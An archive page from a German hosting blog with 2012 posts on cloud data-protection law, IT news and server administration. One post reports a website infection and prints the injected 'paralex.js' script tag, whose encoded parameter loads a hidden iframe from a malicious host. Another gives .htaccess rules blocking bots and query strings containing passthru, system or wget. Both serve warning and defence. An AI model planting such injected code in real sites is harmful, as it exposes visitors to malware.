Ihren XING-Kontakten zeigen Rechtliche Betrachtung der Daten in der Cloud

Geschrieben von Heiko Heeskens am 18.05.2012, 13:08 Uhr in Allgemeines, Datenschutz, Internetbranche, Sicherheit
Bisher keine Kommentare »

Die Cloud ist in aller Munde, neben zahlreichen kleinen Anbietern springen auch die “großen” auf den Zug auf. Amazon, Google, die Telekom und auch Apple preisen die Vorteile an, seine Daten in “die Wolke” zu schicken. Die zahlreichen vollmundig beworbenen Vorteile täuschen darüber hinweg, dass der Begriff der Cloud doch allgemein recht schwammig ist, und von Anbieter zu Anbieter anders auslegegt wird. Besonders kleinere Anbieter nutzen den Begriff zur Werbung, lassen allerdings einige technischen Features und Sicherheiten vermissen. Laut Anwalt.de gibt es aber noch andere Aspekte, welche man vor der Nutzung der Cloud unbedingt beachten sollte. Es handelt sich hier – wie der Name schon vermuten lässt – um die rechtlichen Aspekte.

Besonders im Fokus steht hierbei der Datenschutz – gefolgt vom Steuerrecht.

Die Personenbezogenheit der Daten lässt sich laut Anwalt.de beispielhaft an folgenden Daten festmachen:

Name, Alter, Herkunft, Geschlecht, Ausbildung, Familienstand, Telefonnummer, Post-, E-Mail- und IP-Adressen

Mithilfe dieser Daten kann eine Einzelperson identifiziert werden. Diese Daten unterliegen einem besonderen Schutz. Primäre Frage ist also, wie sich der Datenschutz und die Speicherung der Daten in der Cloud rechtlich vereinbaren lassen. Anwalt.de schreibt hierzu:

Cloud-Lösungen unterfallen nach dem BDSG der sogenannten Auftragsdatenverarbeitung. Diese liegt nur bei Weisungsgebundenheit des Auftragnehmers vor. Das Gesetz behandelt diesen dabei wie eine ausgelagerte Abteilung des Auftraggebers, der den Anbieter dementsprechend regelmäßig zu überwachen hat.

Der Nutzer der Cloud muss also gewährleisten, dass die Daten sicher vor dem Zugriff Dritter sind, dass keine unkontrollierte Weitergabe erfolgt, die Daten gesichert sind etc… Hierzu müsste ein Vertrag mit dem Cloudanbieter geschlossen werden, der eben diese Punkte enthält. Nicht nur der Vertrag, auch die Kontrolle der Vertragsinhalte obliegen dem Nutzer der Cloud. Nun dürfte es nahezu unmöglich sein, alle Punkte zu kontrollieren – behält sich schon google.de vor, die Daten “irgendwo auf der Welt” zu speichern. Die Frage, wo die Daten physisch liegen ist laut anwalt.de eine zu stellende Frage – aber auch eine sehr schwer beantwortbare. Gerade im Bezug auf Datenschutz ist mit Amazon, Google und Microsoft und deren Rechenzentren in den USA kein Datenschutzniveau erreicht, dass den deutschen Anforderungen entspricht. Anwalt.de schreibt hierzu:

Zwar verpflichten sich mittlerweile viele US-Unternehmen zur Einhaltung europäischer Datenschutzstandards aufgrund des zwischen der EU und den USA geschlossenen Safe-Harbor-Abkommens. Aus EU-Sicht ist eine Übermittlung personenbezogener Daten an diese US-Unternehmen legal. Viele Fachleute zweifeln dies jedoch an. Denn das Safe-Harbor-Abkommen ist nur eine freiwillige Selbstverpflichtung ohne Nachkontrolle. Und der weitergehende Cybersecurity Act erlaubt sogar die effektive Aufhebung des Datenschutzes. Microsoft gibt deshalb etwa offen zu, Daten ohne Weiteres an US-Behörden preiszugeben – selbst wenn sie auf europäischen Servern liegen. Mittels eines möglichen staatlichen Maulkorb-Erlasses erfahren Betroffene eventuell nicht einmal etwas davon.

Zur steuerlichen Relevanz äußert sich Anwalt.de nur in einem kleinen Absatz – der es aber durchaus in sich hat:

Cloud-Computing kann auch steuerrechtliche Folgen haben. Seit 2010 dürfen Steuerpflichtige gemäß § 146 Abs. 2a Abgabenordnung steuerlich relevante Daten auch im Ausland speichern. Allerdings nur nach vorheriger Genehmigung der Finanzbehörden und innerhalb des EU- und EWR-Gebiets. Eine Erlaubnis darüber hinaus gibt es nur in Härtefällen.

Es gibt also viel zu bedenken – evtl. sind sich viele nicht bewusst, welche Fallen mit den neuen Lösungen einhergehen.


Diesen Artikel weiterempfehlen:
mehr Datenschutz durch 2-Klick Buttons! Auf 'i' klicken, um mehr zu erfahren.

Ihren XING-Kontakten zeigen Malware: paralex.js – Schadcode in mehreren Webseiten

Geschrieben von Heiko Heeskens am 15.05.2012, 15:11 Uhr in Apache, Confixx / Plesk, Datenschutz
Bisher keine Kommentare »

Von folgendem Schadecode wird derzeit berichtet:

<script src=’/paralex.js?id=PGlmcmFtZSBzcmM9J2h0dHA6Ly9jeWJlci
1mb3guY29tLzY2Ni9pbmRleC5waHAnIHN0eWxlPSdkaXNwbGF5OiBu
b25lJz4=;t=741′></script>

Die folgende Meldung verdeutlicht, dass auf den betroffenen Seiten etwas im Argen ist:

Die genaue Meldung:
Bösartige Webseite blockiert
avast! Netzwerk-Schutz hat eine schädliche Webseite oder Datei blockiert.
Infektions-Details:
URL: “http://cyber-fox.com/666/index.php”
Pozess: …/iexplore.exe
Infektion: URL:Mal

Es sind anscheinend mehrere Seiten bei verschiedenen Hostern betroffen – auch die index.php von Confixx 3 soll bei einigen Hostern verseucht sein. Was genau dieser Schadcode bewirkt – wieso er nur ab und an in den Quelltext der betroffenen Seiten zu sehen ist – alles Dinge, die derzeit heiss diskutiert werden.

Klar sollte allerdings sein, dass die betroffenen Hoster schnell handeln, um die Kunden und deren Besucher zu schützen.


Diesen Artikel weiterempfehlen:
mehr Datenschutz durch 2-Klick Buttons! Auf 'i' klicken, um mehr zu erfahren.

Ihren XING-Kontakten zeigen Neuer WLAN-Standard 802.11 bietet Spezifikationen für bis zu 600 MBit/s

Geschrieben von Redaktion am 11.05.2012, 09:23 Uhr in Internetbranche, WLAN
Bisher keine Kommentare »

Wie man bei heise online heute nachlesen konnte, gab das Standardisierungsgremium IEEE jetzt eine aktualisierte Fassung der unter 802.11 zusammengefassten WLAN-Standards (IEEE 802.11-2012) heraus. Zur neuen Fassung gehören etwa die Spezifikationen für bis zu 600 MBit/s brutto schnelle Funknetze (vormals IEEE 802.11n), vermaschte Funknetze (802.11s), Direct Link Setup (802.11z) sowie sieben weitere Verfahren, die bei der vorherigen Ausgabe des Gesamt-Standards im Jahr 2007 noch nicht verabschiedet waren.

Mehr bei heise.de


Diesen Artikel weiterempfehlen:
mehr Datenschutz durch 2-Klick Buttons! Auf 'i' klicken, um mehr zu erfahren.

Ihren XING-Kontakten zeigen Nervige Crawler und Spambots per .htaccess aussperren

Geschrieben von Heiko Heeskens am 08.05.2012, 11:33 Uhr in Allgemeines
Bisher keine Kommentare »

Zunächst: Was ist ein Crawler, Bot oder Spambot?

Wikipedia sagt:

Spambot (zusammengesetzt aus Spam = ‚unerwünschte elektronische übertragene Nachrichten‘ und Bot = ‚weitgehend autonom agierendes Computerprogramm‘) bezeichnet

Eine gute Beschreibung findet man hier:

Beispiele für Bots sind die Webcrawler von Internet-Suchmaschinen, die selbsttätig Webseiten besuchen, wobei sie den vorhandenen Links folgen und dabei ggf. den Inhalt der Seiten auswerten. „Gutartige“ Bots halten sich dabei an die Robot Exclusion Standards, mit denen Serverbetreiber das Verhalten eines Bots in Grenzen beeinflussen können. „Bösartige“ Bots werden beispielsweise zum Sammeln von E-Mail-Adressen für Werbezwecke, für das massenhafte unautorisierte Kopieren von Webinhalten bis hin zum systematischen Ausspionieren von Softwarelücken von Servern mit dem Ziel des Einbruchs in Server eingesetzt.

Bots erkennen die Website nach einem festgelegten Muster, und sammeln so die Informationen. Daher ist es immer ratsam, keine Mailadressen im Klartext zu veröffenlichen, da viele Bots genau nach dem Format
<
a href="mailto:ich@du.de"> suchen, nur um diese Adressen zu “Werbezwecken” zu missbrauchen.

Schaut man sich nun einmal die Serverlogs an, so scheint einiges an Bots und Crawlern über unsere Seiten zu wandern. Google und Bing gehören sicherlich noch zu den Crawlern, welche man gerne willkommen heisst. Schaut man sich jedoch die Massen der verschiedenen Crawler an wird man feststellen, dass die Ursache für eine schlecht erreichbare Seite durchaus auch hier zu finden ist. Man kann davon ausgehen, dass ein Großteil der Bots keinen Sinn verfolgt der es rechtfertigt, keine Gegenmaßnahmen zu ergreifen. Viele Hoster bieten heute zwar Trafficflatrates an, dennoch wird man sich durch die erhöhte Serverlast keine Freunde machen.

Durch den Einsatz der robots.txt fühlen sich viele Webmaster geschützt – jedoch ist die Zahl der Bots die sich nicht an die Spielregeln halten immens. Insofern müssen härtere Bandagen eingesetzt werden, um diesem Treiben Einhalt zu gebieten.

In vielen Webhostingangeboten ist das Apache Modul mod_rewrite inzwischen zum Standard geworden. Und genau dieses Modul machen wir uns zu Nutzen, wenn wir gegen die Bots vorgehen möchten. Mittels einer .htaccess Datei ist es nun möglich, Bots zu erkennen und den Webserver anzweisen, eine bestimmte Reaktion auf das Verhalten des Bots zu geben. Sicherlich ist die Nutzung von .htaccess nicht die beste Möglichkeit, da auch hier die Performance nicht optimal ist – aber immernoch besser, als jeden Bot zuzulassen – eine direkte Einbindung über den Webserver wäre die bessere Wahl, die jedoch nicht jedem Webmaster zur Verfügung steht.  Mit dem folgenden Beispiel werden eine Menge Bots ausgeschlossen, indem der Server einen 403 Fehler – forbidden ausgibt.

Die Grundlage einer jeden solchen .htaccess Datei bildet der folgende Code:

Options +FollowSymLinks
RewriteEngine On
# Die Regeln werdenn hier eingetragen
# …

RewriteRule ^.* – [F,L]

Hier eine Auflistung der bekanntesten Bots und Crawler:

RewriteCond %{HTTP_USER_AGENT} ^Alexibot [OR]
RewriteCond %{HTTP_USER_AGENT} ^asterias [OR]
RewriteCond %{HTTP_USER_AGENT} ^BackDoorBot [OR]
RewriteCond %{HTTP_USER_AGENT} ^Black [OR]
RewriteCond %{HTTP_USER_AGENT} ^BlowFish [OR]
RewriteCond %{HTTP_USER_AGENT} ^BotALot [OR]
RewriteCond %{HTTP_USER_AGENT} ^BuiltBotTough [OR]
RewriteCond %{HTTP_USER_AGENT} ^Bullseye [OR]
RewriteCond %{HTTP_USER_AGENT} ^BunnySlippers [OR]
RewriteCond %{HTTP_USER_AGENT} ^Cegbfeieh [OR]
RewriteCond %{HTTP_USER_AGENT} ^CheeseBot [OR]
RewriteCond %{HTTP_USER_AGENT} ^CherryPicker [OR]
RewriteCond %{HTTP_USER_AGENT} ^ChinaClaw [OR]
RewriteCond %{HTTP_USER_AGENT} ^Convera [OR]
RewriteCond %{HTTP_USER_AGENT} ^CopyRightCheck [OR]
RewriteCond %{HTTP_USER_AGENT} ^cosmos [OR]
RewriteCond %{HTTP_USER_AGENT} ^Crescent [OR]
RewriteCond %{HTTP_USER_AGENT} ^Custo [OR]
RewriteCond %{HTTP_USER_AGENT} ^DataFountains [NC,OR]
RewriteCond %{HTTP_USER_AGENT} ^DISCo [OR]
RewriteCond %{HTTP_USER_AGENT} ^DittoSpyder [OR]
RewriteCond %{HTTP_USER_AGENT} ^eCatch [OR]
RewriteCond %{HTTP_USER_AGENT} ^Email [NC,OR]
RewriteCond %{HTTP_USER_AGENT} ^Express WebPictures [OR]
RewriteCond %{HTTP_USER_AGENT} ^Extractor [OR]
RewriteCond %{HTTP_USER_AGENT} ^EyeNetIE [OR]
RewriteCond %{HTTP_USER_AGENT} ^FlashGet [OR]
RewriteCond %{HTTP_USER_AGENT} ^Foobot [OR]
RewriteCond %{HTTP_USER_AGENT} ^GetRight [OR]
RewriteCond %{HTTP_USER_AGENT} ^GetWeb! [OR]
RewriteCond %{HTTP_USER_AGENT} ^Global Confusion [NC,OR]
RewriteCond %{HTTP_USER_AGENT} ^Go-Ahead-Got-It [OR]
RewriteCond %{HTTP_USER_AGENT} ^Go!Zilla [OR]
RewriteCond %{HTTP_USER_AGENT} ^GrabNet [OR]
RewriteCond %{HTTP_USER_AGENT} ^Grafula [OR]
RewriteCond %{HTTP_USER_AGENT} ^hloader [OR]
RewriteCond %{HTTP_USER_AGENT} ^HMView [OR]
RewriteCond %{HTTP_USER_AGENT} ^httplib [OR]
RewriteCond %{HTTP_USER_AGENT} ^ia_archiver [OR]
RewriteCond %{HTTP_USER_AGENT} ^IBM_Planetwide [NC,OR]
RewriteCond %{HTTP_USER_AGENT} ^Image [NC,OR]
RewriteCond %{HTTP_USER_AGENT} ^Indy Library [OR]
RewriteCond %{HTTP_USER_AGENT} ^InterGET [OR]
RewriteCond %{HTTP_USER_AGENT} ^Internet Ninja [OR]
RewriteCond %{HTTP_USER_AGENT} ^Jakarta [OR]
RewriteCond %{HTTP_USER_AGENT} ^JennyBot [OR]
RewriteCond %{HTTP_USER_AGENT} ^JetCar [OR]
RewriteCond %{HTTP_USER_AGENT} ^Kenjin [OR]
RewriteCond %{HTTP_USER_AGENT} ^Keyword [OR]
RewriteCond %{HTTP_USER_AGENT} ^LexiBot [OR]
RewriteCond %{HTTP_USER_AGENT} ^libWeb [OR]
RewriteCond %{HTTP_USER_AGENT} ^lwp [OR]
RewriteCond %{HTTP_USER_AGENT} ^Lynx [OR]
RewriteCond %{HTTP_USER_AGENT} ^Mata [NC,OR]
RewriteCond %{HTTP_USER_AGENT} ^Microsoft.URL [OR]
RewriteCond %{HTTP_USER_AGENT} ^MIDown tool [OR]
RewriteCond %{HTTP_USER_AGENT} ^MIIxpc [OR]
RewriteCond %{HTTP_USER_AGENT} ^Mister [OR]
RewriteCond %{HTTP_USER_AGENT} ^moget [OR]
RewriteCond %{HTTP_USER_AGENT} ^Navroad [OR]
RewriteCond %{HTTP_USER_AGENT} ^NearSite [OR]
RewriteCond %{HTTP_USER_AGENT} ^Net [OR]
RewriteCond %{HTTP_USER_AGENT} ^NICErsPRO [OR]
RewriteCond %{HTTP_USER_AGENT} ^NPBot [OR]
RewriteCond %{HTTP_USER_AGENT} ^Octopus [OR]
RewriteCond %{HTTP_USER_AGENT} ^Openfind [OR]
RewriteCond %{HTTP_USER_AGENT} ^Papa Foto [OR]
RewriteCond %{HTTP_USER_AGENT} ^pavuk [OR]
RewriteCond %{HTTP_USER_AGENT} ^pcBrowser [OR]
RewriteCond %{HTTP_USER_AGENT} ^ProPowerBot [OR]
RewriteCond %{HTTP_USER_AGENT} ^ProWebWalker [OR]
RewriteCond %{HTTP_USER_AGENT} ^QueryN [OR]
RewriteCond %{HTTP_USER_AGENT} ^ReGet [OR]
RewriteCond %{HTTP_USER_AGENT} ^RepoMonkey [OR]
RewriteCond %{HTTP_USER_AGENT} ^RMA [OR]
RewriteCond %{HTTP_USER_AGENT} ^SiteSnagger [OR]
RewriteCond %{HTTP_USER_AGENT} ^SlySearch [OR]
RewriteCond %{HTTP_USER_AGENT} ^Snoopy [OR]
RewriteCond %{HTTP_USER_AGENT} ^SpankBot [OR]
RewriteCond %{HTTP_USER_AGENT} ^spanner [OR]
RewriteCond %{HTTP_USER_AGENT} ^Super [OR]
RewriteCond %{HTTP_USER_AGENT} ^Surfbot [OR]
RewriteCond %{HTTP_USER_AGENT} ^suzuran [OR]
RewriteCond %{HTTP_USER_AGENT} ^tAkeOut [OR]
RewriteCond %{HTTP_USER_AGENT} ^Teleport [OR]
RewriteCond %{HTTP_USER_AGENT} ^Telesoft [OR]
RewriteCond %{HTTP_USER_AGENT} ^The.Intraformant [OR]
RewriteCond %{HTTP_USER_AGENT} ^TheNomad [OR]
RewriteCond %{HTTP_USER_AGENT} ^TightTwatBot [OR]
RewriteCond %{HTTP_USER_AGENT} ^Titan [OR]
RewriteCond %{HTTP_USER_AGENT} ^turingos [OR]
RewriteCond %{HTTP_USER_AGENT} ^TurnitinBot [NC,OR]
RewriteCond %{HTTP_USER_AGENT} ^URLy.Warning [OR]
RewriteCond %{HTTP_USER_AGENT} ^VCI [OR]
RewriteCond %{HTTP_USER_AGENT} ^VoidEYE [OR]
RewriteCond %{HTTP_USER_AGENT} ^web [NC,OR]
RewriteCond %{HTTP_USER_AGENT} ^Wget [OR]
RewriteCond %{HTTP_USER_AGENT} ^Widow [OR]
RewriteCond %{HTTP_USER_AGENT} ^www [NC,OR]
RewriteCond %{HTTP_USER_AGENT} ^Xaldon [OR]
RewriteCond %{HTTP_USER_AGENT} ^Zeus [OR]

Mit diesen Einträgen soll verhindert werden, dass Bots normale Besucher vortäuschen

RewriteCond %{HTTP_USER_AGENT} ^MSIE 6.0 [OR]
RewriteCond %{HTTP_USER_AGENT} ^Mozilla/4.0 (compatible; MSIE 6.0; Win32) [OR]
RewriteCond %{HTTP_USER_AGENT} MSIE 6.0b [OR]

Diese Regeln bieten zwar Entlastung, sind allerdings sehr streng – daher mit Bedacht einsetzen

RewriteCond %{HTTP_USER_AGENT} collect [NC,OR]
RewriteCond %{HTTP_USER_AGENT} crawl [NC,OR]
RewriteCond %{HTTP_USER_AGENT} download [NC,OR]
RewriteCond %{HTTP_USER_AGENT} francis [NC,OR]
RewriteCond %{HTTP_USER_AGENT} grabb [NC,OR]
RewriteCond %{HTTP_USER_AGENT} harvest [NC,OR]
RewriteCond %{HTTP_USER_AGENT} httrack [NC,OR]
RewriteCond %{HTTP_USER_AGENT} larbin [NC,OR]
RewriteCond %{HTTP_USER_AGENT} leech [NC,OR]
RewriteCond %{HTTP_USER_AGENT} libwww [NC,OR]
RewriteCond %{HTTP_USER_AGENT} majestic [NC,OR]
RewriteCond %{HTTP_USER_AGENT} ng-search [NC,OR]
RewriteCond %{HTTP_USER_AGENT} nutch [NC,OR]
RewriteCond %{HTTP_USER_AGENT} offline [NC,OR]
RewriteCond %{HTTP_USER_AGENT} omni [NC,OR]
RewriteCond %{HTTP_USER_AGENT} robot [NC,OR]
RewriteCond %{HTTP_USER_AGENT} suck [NC,OR]
RewriteCond %{HTTP_USER_AGENT} sohu [NC,OR]

Und dann noch ein paar Regeln zur Abwehr von XSS-Angriffen.

RewriteCond %{QUERY_STRING} .*’.* [OR]
RewriteCond %{QUERY_STRING} .*%27.* [OR]
RewriteCond %{QUERY_STRING} .*”.* [OR]
RewriteCond %{QUERY_STRING} .*%22.* [OR]
RewriteCond %{QUERY_STRING} .*`.* [OR]
RewriteCond %{QUERY_STRING} .*%60.* [OR]
RewriteCond %{QUERY_STRING} .*%25.* [OR]
RewriteCond %{QUERY_STRING} .*echr.* [OR]
RewriteCond %{QUERY_STRING} .*esystem.* [OR]
RewriteCond %{QUERY_STRING} .*passthru.* [OR]
RewriteCond %{QUERY_STRING} .*wget.*

Vielleicht helfen diese Ausführungen, dem ein oder anderen Problem auf dieser Ebene entgegenzuwirken.


Diesen Artikel weiterempfehlen:
mehr Datenschutz durch 2-Klick Buttons! Auf 'i' klicken, um mehr zu erfahren.

Ihren XING-Kontakten zeigen Knapp daneben ist auch vorbei

Geschrieben von Heiko Heeskens am 04.05.2012, 20:37 Uhr in Allgemeines
Bisher keine Kommentare »

Aus einem Newsletter, der soeben im Postfach gelandet ist:

Hallo Herr Heeskens,

ich hoffe Sie hatten ein angenehmes und erholsames Wochenende.
Heute würde ich Ihnen gerne ein unverbindliches Angebot unterbreiten.

Diese Einleitung macht auf einen Freitag Abend besonders viel Sinn :D


Diesen Artikel weiterempfehlen:
mehr Datenschutz durch 2-Klick Buttons! Auf 'i' klicken, um mehr zu erfahren.

Ihren XING-Kontakten zeigen Provider müssen Name und Adresse eines Verletzers von Urheberrechten offenlegen

Geschrieben von Redaktion am 03.05.2012, 13:41 Uhr in Datenschutz, Internetbranche, Kleindatenhaltung
Bisher keine Kommentare »

Laut dem Magazin searchdatacenter.de hat der Europäische Gerichtshof (EuGH) jetzt entschieden, “dass ein Internet-Service-Provider (ISP) dazu gezwungen werden darf, Kundendaten mitzuteilen, wenn von seinen FTP-Servern aus offenbar Urheberrechte verletzt wurden. Sowohl Name als auch Adresse des Nutzers einer IP-Adresse muss ein Provider einem Urheberrechte-Inhaber auf Verlangen mitteilen.”

Die EuGH-Richter gaben in einem Fall fünf Verlagen in Schweden recht, die einen ISP, über dessen FTP-Server Nutzer zahlreiche Hörbücher zugänglich gemacht hatten, zur Herausgabe der Kundendaten verpflichten wollten. Der Streit hatte sich bis auf EU-Ebene fortgesetzt, um zu klären, ob der Provider dazu überhaupt gezwungen werden darf.
Laut den Richtern, “sei die Herausgabe der Informationen durchsetzbar, sofern die geltenden Rechte dem jeweiligen nationalen Gericht ermöglichen, anhand der Umstände des Einzelfalls und unter gebührender Berücksichtigung der sich aus dem Grundsatz der Verhältnismäßigkeit ergebenden Erfordernisse eine Abwägung der einander gegenüberstehenden Interessen vorzunehmen.“

Unter anderem die Richtlinie 2006/24/EG des Europäischen Parlaments und des Rates zur Vorratsdatenspeicherung, aber auch andere EU-Richtlinien und nationalen Gesetze, die auf die Durchsetzung der Rechte geistigen Eigentums zielen, können hier angewendet werden.

In Schweden bezog man den Fall auf eine Vorratsdatenspeicherung, was in Deutschland aufgrund der Tatsache, dass die Umsetzung der EU-Vorgaben für die Vorratsdatenspeicherung hier noch nicht vollzogen ist, nicht möglich wäre.


Diesen Artikel weiterempfehlen:
mehr Datenschutz durch 2-Klick Buttons! Auf 'i' klicken, um mehr zu erfahren.

Ihren XING-Kontakten zeigen gTLD-Registrierung verzögert sich wegen Sicherheitslücke weiter

Geschrieben von Redaktion am 27.04.2012, 08:18 Uhr in domains, Internetbranche
Bisher keine Kommentare »

Laut ZDNET hat die ICANN offenbar immer noch Probleme mit dem Registrierungssystem für generisches Top Level Domains (gTLDs). ” Man arbeite daran und hoffe, doch noch wie geplant am 30. April eine vollständige Liste aller zugelassenen Domains der obersten Stufe präsentieren zu können”, hieß es diese Woche in einer Meldung.
Konkret schien das Registrierungssystem merkwürdige Effekte zu verursachen “bei unterbrochenen Löschvorgängen von Dateianhängen. Dadurch konnten einige Bewerber die Dateinamen und Nutzernamen anderer Bewerber einsehen.”

Die Sicherheitslücke wurde jüngst entdeckt und das System wurde abgeschaltet. Die ICANN möchte unter anderem ausschließen, dass eingegangene Bewerbungen unvollständig oder in anderer Weise problembehaftet sind.

Eigentlich sollte der Donnerstag vorletzter Woche der letzte Tag der Bewerbungsfrist sein. Doch die Untersuchung des “u ngewöhnlichen Verhaltens” des Systems dauert an.
gTLD sind Domainnamen, die die bisherigen TLDs .com, .net und .org sowie die Länderdomains wie .de oder .it ergänzen sollen. Denkbar wären beispielsweise .bayern oder .hamburg, .google oder .shop.

Gefunden bei ZDNET


Diesen Artikel weiterempfehlen:
mehr Datenschutz durch 2-Klick Buttons! Auf 'i' klicken, um mehr zu erfahren.

Ihren XING-Kontakten zeigen ACTA scheint vor dem EU-Parlament zu scheitern

Geschrieben von Redaktion am 20.04.2012, 09:43 Uhr in Internetbranche
Bisher keine Kommentare »

Das Thema ACTA geht in die nächste Runde. Wie am Montag u.a. bei ZDNET zu lesen war, zeichnet sich im EU-Parlament eine Mehrheit gegen das umstrittene Anti-Piraterieabkommen ACTA ab. Grüne, Linke und inzwischen auch Sozialdemokraten haben sich eindeutig dagegen ausgesprochen. Weithin hieß es dort, dass der zuständige Berichterstatter im Parlament, der schottische Labour-Politiker David Martin, sich in seiner schriftlichen Empfehlung zu einer klaren Aussage durchgerungen habe:

“Ihr Berichterstatter empfiehlt deshalb, dass das Europäische Parlament eine Zustimmung zu ACTA verweigert. [..] Die potenziellen Gefahren für bürgerliche Freiheiten überwiegen bei Weitem die beabsichtigten Vorteile dieser internationalen Vereinbarung. Durch die in manchen Bereichen vagen Formulierungen im Text und die Unsicherheit über seine Interpretation kann das Europäische Parlament unter ACTA in Zukunft keinen angemessenen Schutz seiner Bürgerrechte garantieren.”

Was bedeutet dies für Europa und Deutschland?
Falls sich das EU-Parlament im Juni gegen ACTA entscheiden sollte, sind die Unterschriften der 20 Mitgliedsstaaten der EU ungültig – und die betreffenden Länder können nicht am Abkommen teilnehmen. Damit blieben nur noch die USA, Australien, Kanada, Südkorea, Japan und einige weitere Länder durch ACTA gebunden.

Angeblich habe der Berichterstatter Martin in einem Interview mit dem britischen Telegraph eine Ablehnung durch das EU-Parlament als wahrscheinlich bezeichnet.

Gefunden bei ZDNET


Diesen Artikel weiterempfehlen:
mehr Datenschutz durch 2-Klick Buttons! Auf 'i' klicken, um mehr zu erfahren.